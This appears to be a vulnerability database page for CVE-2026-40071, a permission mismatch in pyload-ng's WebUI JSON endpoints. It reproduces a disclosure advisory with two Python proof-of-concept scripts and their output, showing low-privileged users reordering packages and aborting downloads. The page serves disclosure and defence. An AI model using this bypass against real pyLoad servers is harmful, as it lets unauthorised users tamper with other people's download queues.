Back to the CVE list
CVE-2026-40071

pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions

CVSS score

5.4

EPSS probability

%0.2

Risk score

0.0

Published

6 mo ago

Patch status has not yet been verified

Resmî kaynaklarda yeterli kanıt bulunamadı. Bu sonuç “yama yok” anlamına gelmez.

Impact on My Inventory

Only the personal products you have added to your account are assessed; an organisation's inventory does not appear here.

Checking session…

Vulnerability description

DayBreach CVE AI Research

CVE-2026-40071 has vendor, distribution, patch and security-source records on file. We can compare them and prepare an explanation linked to the evidence.

### Summary Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model. Confirmed mismatches: - `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order` - `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link` ### Details pyLoad defines granular permissions in core API: - `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`) - `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`) - `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`) But WebUI JSON routes use weaker checks: - `/json/package_order` uses `@login_required("ADD")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`) - `/json/link_order` uses `@login_required("ADD")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`) - `/json/abort_link` uses `@login_required("DELETE")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`) Why this is likely unintended (not just convenience): - The same JSON blueprint correctly protects other edit actions with `MODIFY`: - `/json/move_package` -> `@login_required("MODIFY")` (`json_blueprint.py:188-196`) - `/json/edit_package` -> `@login_required("MODIFY")` (`json_blueprint.py:202-217`) - The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls. ### PoC Environment: - Repository version: `0.5.0b3` (`VERSION` file) - Commit tested: `ddc53b3d7` PoC A (ADD-only user invokes MODIFY-only reorder): ```python import os import sys from types import SimpleNamespace sys.path.insert(0, os.path.abspath('src')) from flask import Flask from pyload.core.api import Api, Perms, Role from pyload.webui.app.blueprints import json_blueprint class FakeApi: def __init__(self): self.calls = [] def user_exists(self, username): return username == 'attacker' def order_package(self, pack_id, pos): self.calls.append(('order_package', int(pack_id), int(pos))) def order_file(self, file_id, pos): self.calls.append(('order_file', int(file_id), int(pos))) api = Api(SimpleNamespace(_=lambda x: x)) ctx = {'role': Role.USER, 'permission': Perms.ADD} print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx)) print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx)) app = Flask(__name__) app.secret_key = 'k' app.config['TESTING'] = True app.config['WTF_CSRF_ENABLED'] = False f = FakeApi() app.config['PYLOAD_API'] = f app.register_blueprint(json_blueprint.bp) with app.test_client() as c: with c.session_transaction() as s: s['authenticated'] = True s['name'] = 'attacker' s['role'] = int(Role.USER) s['perms'] = int(Perms.ADD) r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0}) r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1}) print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip()) print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip()) print('calls:', f.calls) ``` Observed output: ```text API auth (ADD-only) order_package: False API auth (ADD-only) order_file: False HTTP /json/package_order: 200 {"response":"success"} HTTP /json/link_order: 200 {"response":"success"} calls: [('order_package', 5, 0), ('order_file', 77, 1)] ``` PoC B (DELETE-only user invokes MODIFY-only stop_downloads): ```python import os import sys from types import SimpleNamespace sys.path.insert(0, os.path.abspath('src')) from flask import Flask from pyload.core.api import Api, Perms, Role from pyload.webui.app.blueprints import json_blueprint class FakeApi: def __init__(self): self.calls = [] def user_exists(self, username): return username == 'u' def stop_downloads(self, ids): self.calls.append(('stop_downloads', ids)) api = Api(SimpleNamespace(_=lambda x: x)) ctx = {'role': Role.USER, 'permission': Perms.DELETE} print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx)) app = Flask(__name__) app.secret_key = 'k' app.config['TESTING'] = True app.config['WTF_CSRF_ENABLED'] = False f = FakeApi() app.config['PYLOAD_API'] = f app.register_blueprint(json_blueprint.bp) with app.test_client() as c: with c.session_transaction() as s: s['authenticated'] = True s['name'] = 'u' s['role'] = int(Role.USER) s['perms'] = int(Perms.DELETE) r = c.post('/json/abort_link', json={'link_id': 999}) print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip()) print('calls:', f.calls) ``` Observed output: ```text API auth (DELETE-only) stop_downloads: False HTTP /json/abort_link: 200 {"response":"success"} calls: [('stop_downloads', [999])] ``` ### Impact Type: - Improper authorization / permission-bypass between WebUI and core API permission model. Scope: - Horizontal privilege escalation among authenticated non-admin users. - Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`. Security impact: - Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`. - Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.

IMPACT: Affected Products and Software

Affected Products

The following products are affected by CVE-2026-40071 vulnerability. Where our threat engine knows the exact affected versions, they are listed below.

IDVENDORPRODUCTACTION
1pypipyload-ng View
Total affected vendors: 1|Products: 1

RED HAT CSAF/VEX: Product Impact Check

Red Hat has not yet published a CSAF/VEX impact record for this CVE. This does not mean “not affected”.

SCORING: CVSS from Multiple Sources

CVSS Scores

The Common Vulnerability Scoring System is a standardised framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from several sources for each CVE.

SCOREVERSIONSEVERITYVECTORSOURCE
5.4CVSS 3.x—Vector not publishedGitHub Advisory
0.0CVSS 4.0—Vector not publishedGitHub Advisory

Patch and Remediation Guide

Solution & Remediation Advisory

Patch status unknown

İncelenen resmî kaynaklarda yama durumu doğrulanamadı. Bu sonuç “yama yok” anlamına gelmez.

Confirm the affected product and version against the source evidence above.
Restrict access to internet-facing services and apply network segmentation.
Until a patch is confirmed, follow the vendor advisory; do not read an unknown status as “no patch”.
Monitor server logs and network endpoints for signs of anomalous execution.

Public exploit and active exploitation status

Verified exploit intelligence

No verified public PoC, exploit repository or Metasploit module has been found for this CVE yet.

Weakness Classification and Attack Patterns (CWE & CAPEC)

CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorises the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-40071 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-40071 weaknesses.

Attack Vector and Accessibility

ExposureAğ üzerinden
PermissionsLow
UserGerekmiyor

Official Sources and Advisories

CVSS Vector Radar Chart

5.4 / 10
Attack VectorNetworkComplexityLowPrivilegesLowUser Interact.NoneConfidentialityLowIntegrityNoneAvailabilityLow

Vulnerability Scoring Details

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow privileges
User InteractionNone required
Confidentiality (Gizlilik)Low
Integrity (Bütünlük)None
Availability (Erişilebilirlik)Low

Yama durumu bilinmiyor

İncelenen resmî kaynaklarda yama durumu doğrulanamadı. Bu sonuç “yama yok” anlamına gelmez.

Follow the vendor

P
pypi logo
pypi

Weakness Type (CWE & CAPEC)

Similar Vulnerabilities

Get this vulnerability through the API

Affected products, version ranges, exploitation status and patch information in a single request, with a free key.

curl -H "x-api-key: $DAYBREACH_API_KEY" \
  "https://api.daybreach.dev/api/v1/intel/cves/CVE-2026-40071"
CVE-2026-40071 · pyload-ng has a WebUI JSON permission…